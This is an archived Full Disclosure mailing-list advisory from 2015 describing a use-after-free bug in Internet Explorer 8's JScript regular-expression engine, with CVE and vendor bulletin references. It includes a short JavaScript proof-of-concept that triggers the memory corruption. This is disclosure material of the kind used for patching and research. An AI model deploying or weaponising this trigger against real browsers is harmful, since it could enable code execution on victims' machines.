full-disclosure - [FD] JScript 5.7 (MSIE 8) RegExpBase::FBadHeader regular expression use-after-free

Open Source and information security mailing list archives

Message-ID: <561D7C1A.3080804@gmail.com>
Date: Tue, 13 Oct 2015 23:48:10 +0200
From: Berend-Jan Wever <berendjanwever@...il.com>
To: Full-disclosure <fulldisclosure@...lists.org>
Subject: [FD] JScript 5.7 (MSIE 8) RegExpBase::FBadHeader regular expression
 use-after-free

Recompiling the regular expression pattern during a replace can cause
the code
to reuse a freed string, but only if the string is freed from the cache by
allocating and freeing a number of strings of certain size.

CVE-2015-2482:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482
ZDI-15-515:    http://www.zerodayinitiative.com/advisories/ZDI-15-515/
MS15-108:      https://technet.microsoft.com/en-us/library/security/MS15-108

Repro:
<script>
  var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
  "A".replace(r, function (){
    for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
    r.compile();
  });
</script>

Repro-in-a-tweet:
https://twitter.com/berendjanwever/status/654048253047140352

Cheers,

SkyLined

Follow me on twitter for a new browser bug every* day!
https://twitter.com/berendjanwever

(* might be more than one some days)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives